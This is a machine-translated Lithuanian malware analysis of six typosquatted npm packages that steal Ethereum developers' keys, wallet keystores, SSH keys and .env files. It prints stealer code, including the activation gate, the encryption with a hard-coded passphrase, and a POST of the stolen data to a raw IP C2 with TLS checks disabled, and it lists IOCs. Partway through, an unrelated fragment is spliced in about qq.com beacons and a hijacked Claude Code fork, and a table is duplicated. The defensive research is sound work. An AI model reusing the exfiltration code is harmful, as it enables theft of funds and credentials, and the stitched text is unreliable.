Lt; DR
2026 m. gegužės 6 d. vienas npm leidėjas namikazesarada010206išplatino šešis kenkėjiškus paketus, nukreiptus prieš „Ethereum“, „Solidity“ ir „DeFi“ kūrėjų ekosistemą.
Paketai, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsir web3-utils-core, naudojo tikėtinus pavadinimus, sukurtus taip, kad atrodytų kaip populiarių „Web3“ įrankių pagalbinės bibliotekos.
Visuose šešiuose paketuose buvo tas pats telemetry.js failas. Failas buvo identiškas baitų skaičiumi visame klasteryje, naudojant SHA-256:
Kenkėjiška programa nevykdoma diegimo metu. Nėra preinstall or postinstall kabliukas. Vietoj to, jis aktyvuojamas, kai paketas importuojamas per require().
Ta detalė svarbi.
Implantas laukia, kol kūrėjas iš tikrųjų panaudos paketą. Tada jis patikrina, ar darbo vieta atrodo kaip tikra Ethereum / Solidity kūrimo aplinka. Jis ieško „Alchemy“ arba „Infura“ raktų, privačių raktų, mnemonikos, diegimo raktų arba vietinio „Foundry“ katalogo.
Jei pagrindinis kompiuteris sutampa, vagis surenka SSH privačius raktus, „Foundry“ / „Geth“ / „Brownie“ piniginės raktų saugyklas. .env* failus ir jautrius aplinkos kintamuosius. Jis užšifruoja paketą su AES-256-GCM, naudodamas užkoduotą slaptažodį, ir išfiltruoja jį į neapdorotą IPv4 C2 galinį tašką su išjungtu TLS patvirtinimu.
„Xygeni“ kenkėjiškų programų ankstyvojo įspėjimo (MEW) sistema patvirtino, kad visi šeši paketai yra kenkėjiški. Laukiama, kol bus parengta „npm“ registro pašalinimo ataskaita.
Klasteris: šeši paketai, vienas leidėjas
Leidėjo paskyra namikazesarada010206 buvo susietas su nepatvirtintu „Gmail“ adresu namikazesarada010206@gmail.com.
Kampanija pasirodė kaip vienos dienos leidinių serija 2026 m. gegužės 6 d. Visi šeši paketai buvo versijuojami taip 1.0.0, neturėjo jokių vykdymo laiko priklausomybių ir išsiuntė tik tris failus:
package.json index.js telemetry.js Jie taip pat deklaravo tą pačią šaltinio saugyklą:
https://github.com/harunosakura030303-maker/evmchain-config Pirmieji trys paketai buvo aptikti MEW skaitytuvų pirmojo publikavimo metu. Likę trys buvo priverstinai pažymėti po to, kai analitikai peržiūrėjo leidėjo npm profilį. Kai tas pats baitų identiškumas buvo nustatytas telemetry.js buvo patvirtinta visame klasteryje, jie buvo uždaryti kaip kenkėjiški dėl nuoseklumo.
| Paketas | versija | Paskelbta | MEW bilietas | Verdiktas |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Tyčinis |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Tyčinis |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Tyčinis |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Kenkėjiškas, dėl nuoseklumo |
| liejyklų įrankiai | 1.0.0 | 2026-05-06 | # 51071 | Kenkėjiškas, dėl nuoseklumo |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Kenkėjiškas, dėl nuoseklumo |
Pavadinimo strategija yra paprasta, bet efektyvi.
Šie paketai neperteikia tikslių sraigtasparnių pavadinimų. Vietoj to, jie naudoja tikėtinas „įrankių“ priesagas, pvz. -core, -utilsir -utils-coreDėl to jos atrodo kaip pagalbinės bibliotekos, kurias kūrėjas galėtų tikėtis pamatyti šalia „Web3“ įrankių.
| Kenkėjiškas paketas | Teisėtas taikinys |
|---|---|
| viem-core | viem, populiarus Ethereum TypeScript klientas |
| viem-utils-core | viem |
| hardhat-core-utils | „hardhat“ – pagrindinė „Solidity“ kūrimo aplinka |
| evm-utils | Bendroji EVM įrankių vardų erdvė |
| liejyklų įrankiai | liejykla, „Solidity“ įrankių grandinė |
| web3-utils-core | web3 įrankiai, Web3.js pagalbininkai |
Tai yra „papildomo paketo“ modelis: ne „aš esu tikrasis paketas“, o „aš atrodau kaip protingas pagalbininkas šalia tikrojo paketo“.
DeFi kūrėjams, judantiems greitai, to pakanka rizikai sukelti.
Kas nutinka, kai siuntinys importuojamas
Atakų grandinė yra maža, tyčinė ir orientuota į kriptovaliutų kūrimo aplinkas.
Nėra montavimo kablio. Vietoj to, kiekvienoje pakuotėje yra index.js kuris eksportuoja fragmento funkcionalumą ir tada įkelia kenkėjišką telemetrijos modulį.
require('./telemetry').init(); Tai reiškia, kad kenkėjiška programa suaktyvėja pirmą kartą importuojant.
Tai operaciniu požiūriu naudinga užpuolikui. Daugelis skaitytuvų ir smėlio dėžių daugiausia dėmesio skiria diegimo laiko elgesiui. Šis paketas laukia, kol jį iš tikrųjų panaudos kūrėjas, kūrimo scenarijus, testavimo rinkinys arba vykdymo laiko kelias.
Aktyvinimo vartai: Paleisti tik tikrose „Web3“ kūrėjų darbo vietose
Svarbiausia implanto dalis yra aktyvacijos vartai.
Kenkėjiška programa tikrina aplinkos kintamuosius, dažniausiai randamus „Ethereum“ / „Solidity“ kūrėjų kompiuteriuose:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Taip pat patikrinama, ar „Foundry“ įdiegta:
fs.existsSync(path.join(os.homedir(), '.foundry')) Jei nė viena sąlyga nėra teisinga, funkcija grąžina reikšmę ir nieko nedaro.
Dėl to paketas veikia tyliau bendrosios analizės aplinkose. Smėlio dėžė be „Foundry“, „Alchemy“, „Infura“, privačių raktų ar mnemonikos gali matyti nekenksmingai atrodantį importą.
Sutampančiame mazge kenkėjiška programa palaukia 60–90 sekundžių prieš surinkdama duomenis:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Dėl vėlavimo sumažėja akivaizdi koreliacija tarp importo ir išvežimo. .unref() iškvietimas taip pat leidžia pagrindiniam procesui normaliai baigti darbą, jei paketas buvo importuotas kaip trumpalaikis scenarijus.
Tai nėra triukšmingas „daužyk ir griebk“ elgesys. Tai tikslinė vagystės programa, sukurta taip, kad nebūtų vykdoma, nebent kūrėjo aplinka būtų verta vagystės.
Ką vagis kolekcionuoja
Kai aktyvinimo vartai praeina, kenkėjiška programa renka informaciją iš šaltinių, kurie yra svarbiausi „Web3“ kūrime: privačius raktus, piniginės raktų saugyklas, diegimo kredencialus, debesies paslaptis, npm žetonus ir vietinio projekto konfigūraciją.
| Šaltinis | Kas renkama |
|---|---|
| procesas.env | Bet koks kintamasis, atitinkantis /TOKEN|SECRET|KEY|PASS|UTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Failai, kuriuose yra PRIVATE KEY arba BEGIN OPENSSH, įskaitant visą failo turinį |
| ~/.foundry/keystores/* | „Foundry“ piniginės raktų saugyklos failai |
| ~/.ethereum/keystore/* | „Geth“ piniginės raktų saugyklos failai |
| ~/.brownie/paskyros/* | „Brownie“ piniginės raktų saugyklos failai |
| ${cwd}/.env | Visas failo turinys |
| ${cwd}/.env.local | Visas failo turinys |
| ${cwd}/.env.produkcija | Visas failo turinys |
| ${cwd}/.env.development | Visas failo turinys |
| os.hostname() | Prieglobos metaduomenys |
| crypto.randomUUID() | Aukos / sesijos identifikatorius |
| Data.dabar() | Kolekcijos laiko žyma |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA žetonai yra šie:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Negalėjome patvirtinti, ar telemetrija buvo paties operatoriaus analizės duomenys, ar atskirai monetizuotas kanalas. Abiejuose mūsų nagrinėtuose pavyzdžiuose ATTA žetonai yra tokie patys.
B klasteris: heibai
claude.hk OAuth sukčiavimas + ANTHROPIC_BASE_URL užgrobimas
Balandžio 1 d. pavyzdys yra primityvesnė, ankstesnė kampanijos dalis.
heibai:2.1.88-claude.hk-4 paskelbė wuguoqiangvip28, paskyra, sukurta 2025 m. birželio 7 d. Paketas aiškiai pateikė savo versijas, neatitinkančias teisėtos 2.1.88 Antropinis išleidimas.
Jis nesirūpina CA sertifikuoto MITM. Vietoj to, jis meluoja vartotojui apie OAuth galinį tašką.
Kenkėjiški papildymai prie nutekėjusio „Claude Code“ šaltinio apima:
| Šaltinis | Kas renkama |
|---|---|
| procesas.env | Bet koks kintamasis, atitinkantis /TOKEN|SECRET|KEY|PASS|UTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Failai, kuriuose yra PRIVATE KEY arba BEGIN OPENSSH, įskaitant visą failo turinį |
| ~/.foundry/keystores/* | „Foundry“ piniginės raktų saugyklos failai |
| ~/.ethereum/keystore/* | „Geth“ piniginės raktų saugyklos failai |
| ~/.brownie/paskyros/* | „Brownie“ piniginės raktų saugyklos failai |
| ${cwd}/.env | Visas failo turinys |
| ${cwd}/.env.local | Visas failo turinys |
| ${cwd}/.env.produkcija | Visas failo turinys |
| ${cwd}/.env.development | Visas failo turinys |
| os.hostname() | Prieglobos metaduomenys |
| crypto.randomUUID() | Aukos / sesijos identifikatorius |
| Data.dabar() | Kolekcijos laiko žyma |
Tikslinis sąrašas yra labai konkretus. Tai nėra bendro pobūdžio naršyklės vagystė ar platus kredencialų nuskaitymas. Jis skirtas kūrėjams, kurie kuria, testuoja, diegia ar valdo „Ethereum“ programas.
Ypač svarbu įtraukti „Foundry“, „Geth“ ir „Brownie“ raktų saugyklas. Šie failai gali suteikti tiesioginę prieigą prie piniginių arba diegimo tapatybes. Jei užpuolikas gali susieti juos su slaptažodžiais, mnemonika arba aplinkos paslaptimis, jis gali pervesti lėšas, apsimesti diegėjais arba pažeisti išmaniųjų sutarčių operacijas.
Šifravimas prieš išfiltraciją
Kenkėjiška programa užšifruoja surinktus duomenis prieš juos išsiųsdama.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Užkoduota slaptafrazė yra:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Galutinis naudingasis krovinys suvyniojamas į JSON formatą:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Pats šifravimas nepadaro kenkėjiškos programos pažangesnės. Tačiau jis apsunkina tinklo patikrinimą. Išeinantįjį ryšį stebintis gynėjas matytų JSON paketą, bet ne pavogtus raktus, piniginės failus ar kt. .env turinys be užkoduotos slaptažodžio ir iššifravimo logikos.
Eksfiltracija į neapdorotą IPv4 C2
Išfiltracijos kelias yra kietai užkoduotas:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Kenkėjiška programa siunčia duomenis į:
https://76.13.37.80:8443/api/v1/telemetry Išsiskiria dvi detalės.
Pirma, C2 yra neapdorotas IPv4 adresas, o ne domenas. Tai panaikina domeno registracijos poreikį ir padeda išvengti kai kurių su domenu susijusių aptikimų.
Antra, TLS patvirtinimas išjungtas naudojant:
rejectUnauthorized: false Tai leidžia kenkėjiškai programai priimti bet kokį sertifikatą, įskaitant ir savarankiškai pasirašytus. Kitaip tariant, užpuolikas gauna užšifruotą perdavimą be galiojančio viešojo sertifikato.
Nėra pakartotinio bandymo logikos ir atsarginio serverio. Klaidos tyliai apdorojamos. Tai leidžia paketui veikti tyliai, jei C2 yra neprisijungęs arba nepasiekiamas.
Kodėl ši kampanija svarbi
Dauguma kenkėjiškų npm paketų, skirtų kūrėjams, siekia gauti plačius prisijungimo duomenis: npm žetonus, AWS raktus, GitHub žetonus arba .npmrc failai.
Ši kampanija susiaurina tikslinę auditoriją.
Jis ieško požymių, kad įrenginys priklauso „Ethereum“ arba „Solidity“ kūrėjui. Tada jis ištraukia būtent tuos išteklius, kurie yra svarbūs toje aplinkoje: piniginės raktų saugyklas, privačius raktus, mnemoniką, diegimo raktus. .env failus ir SSH raktus.
Dėl to kampanija „Web3“ komandoms yra pavojingesnė nei įprastas „npm“ vagystės įrankis.
Sėkminga infekcija gali atskleisti:
- Diegimo piniginės
- Išmaniųjų sutarčių administratoriaus raktai
- RPC teikėjo raktai
- Debesijos diegimo prisijungimo duomenys
- npm publikavimo žetonai
- SSH prieiga prie kūrėjo arba statybų infrastruktūros
- Projekto paslaptys saugomos
.envfailai - „Foundry“, „Geth“ arba „Brownie“ piniginės raktų saugyklos
Paketų pavadinimai taip pat aiškiai rodo socialinę inžineriją. Jie nukreipti į „Web3“ kūrėjų ekosistemą per pažįstamus įrankių pavadinimus: viem, hardhat, foundry, evmir web3.
Veikėjui nereikia daryti žalos tikriems projektams. Jam tereikia, kad kūrėjas įdiegtų panašų į pagrįstą pagalbinį paketą.
Kompromitacijos ir aptikimo rodikliai
| Paketai ir leidėjas | |
|---|---|
| Laukas | Reikšmė |
| npm leidėjas | namikazesarada010206 |
| Leidėjo el. pašto adresas | namikazesarada010206@gmail.com |
| El. paštas patvirtintas | Ne |
| SCM patikrinta | Ne |
| Reputacijos balas | 1.0 |
| Paketai | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, liejyklos-utils, web3-utils-core |
| versijos | Visi 1.0.0 |
| Šaltinių saugykla | https://github.com/harunosakura030303-maker/evmchain-config |
| Patvirtinta kenkėjiška | Visi šeši paketai |
| tinklas | |
|---|---|
| Tipas | Reikšmė |
| C2 galinis taškas | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 prievadas | 8443/tcp |
| TLS veikimas | atmestiNeautorizuota: false |
| Naudingosios apkrovos schema | {"v":2,"iv": ,,d": ,,t": } |
| Failai ir maišos | |
|---|---|
| Tipas | Reikšmė |
| telemetrija.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Pakuotės išdėstymas | package.json, index.js, telemetry.js |
| Failų skaičius | 3 |
| Apytikslis bendras dydis | 3.4 KB |
Aktyvinimo signalai
Kenkėjiška programa tikrina šiuos aplinkos kintamuosius:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Taip pat tikrinama:
~/.foundry/ Tiksliniai pagrindinio kompiuterio keliai
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kolekcijos reguliarioji išraiška
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Aptikimo pastabos
Šią kampaniją apima kelios taisyklės, nereikalaujančios išsamios elgsenos analizės.
Pirmiausia nuskaitykite užrakinimo failus, ar juose nėra šešių kenkėjiškų paketų pavadinimų:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Bet kokios rungtynės package-lock.json, yarn.lock, pnpm-lock.yamlarba node_modules Istorija turėtų būti traktuojama kaip rimtas įvykis.
Antra, stebėkite, ar „Node.js“ procesai skaito piniginės raktų saugyklos kelius:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Tai retai kada yra teisėtas elgesys paketui, importuotam kaip pagalbinė priklausomybė. Tai ypač įtartina, kai po to seka išorinė tinklo veikla.
Trečia, blokuokite arba įspėkite apie HTTPS ryšius su:
76.13.37.80:8443 Ypač kai užklausos kelias yra:
/api/v1/telemetry Ketvirta, ieškokite npm paketų, kurie apjungia šias savybes:
- Naujas arba prastos reputacijos leidėjas
- Nepatvirtinta „Gmail“ paskyra
- „Web3“ gretimo paketo pavadinimas
- Nėra prasmingos saugyklos istorijos
- Mažo paketo išdėstymas
index.jskuris įkelia telemetrijos arba pagalbinį failą- Jokių vykdymo laiko priklausomybių
- Jautrių aplinkos kintamųjų kolekcija
- Prieiga prie „Piniginės“ raktų saugyklos
Šis šablonas yra naudingesnis nei vienas IOC, nes kitas paketas gali pakeisti IP adresą, bet išlaikyti tą pačią taikymo logiką.
Kompromisinio atsakymo kontrolinis sąrašas
Jei kūrėjas naudojo vieną iš šešių paketų ir jo aplinka atitiko aktyvinimo vartus, darbo stotis traktuojama kaip pažeista.
Tai apima mašinas su įdiegta „Foundry“, „Alchemy“ arba „Infura“ raktus aplinkoje, privačius raktus, mnemoniką arba diegimo raktus.
Rekomenduojamas atsakymas:
- Atjunkite pagrindinį kompiuterį nuo tinklo.
- Išsaugoti
node_modules, užrakinimo failus, apvalkalo istoriją ir atitinkamus žurnalus teismo ekspertizei. - Pakeiskite kiekvieną SSH raktų porą
~/.ssh/. - Pakeiskite piniginės raktus kiekvienai raktų saugyklai
~/.foundry,~/.ethereumir~/.brownie. - Perkelkite lėšas į naujas pinigines.
- Pasukite kiekvieną saugomą paslaptį
.env*failai saugyklose, kuriose dirbo kūrėjas. - Kaitaliokite aplinkos paslaptis, atitinkančias rinkinio reguliariąją išraišką, įskaitant AWS raktus, npm žetonus, diegimo žetonus, API raktus, privačius raktus, sėklas ir mnemoniką.
- Audito debesies, npm, „GitHub“, RPC teikėjo ir blokų grandinės veikla nuo pirmojo paketo įdiegimo.
- Prieš pakartotinį naudojimą iš naujo sukurkite darbo stoties atvaizdą.
Ką gynėjai turėtų pasiimti
Ši kampanija parodo, kaip npm tipografijos klaidos vystosi didelės vertės kūrėjų ekosistemose.
Aktoriui nereikėjo atkaklumo. Jam nereikėjo klaidinimo. Jam net nereikėjo vykdymo diegimo metu.
Vietoj to, jie rėmėsi trimis dalykais:
- Tikėtini „Web3“ paketų pavadinimai
- Aktyvinimas tik tikruose kriptovaliutų kūrimo įrenginiuose
- Tiesioginė failų ir paslapčių, kurios yra svarbiausios „Ethereum“ kūrėjams, vagystė
Dėl to kampanija lengvai nepastebima plačiau žvalgant ir yra pavojinga, kai patenka į tinkamą aplinką.
„Web3“ komandoms pamoka aiški: priklausomybių pavadinimus laikykite savo grėsmių modelio dalimi. Paketas, kuris atrodo kaip nekenksmingas pagalbininkas, vis tiek gali tapti trumpiausiu keliu į piniginės pažeidimą.
Pranešta npm registrui. Atnaujinsime šį įrašą, kai leidėjo paskyra ir paketai bus pašalinti.




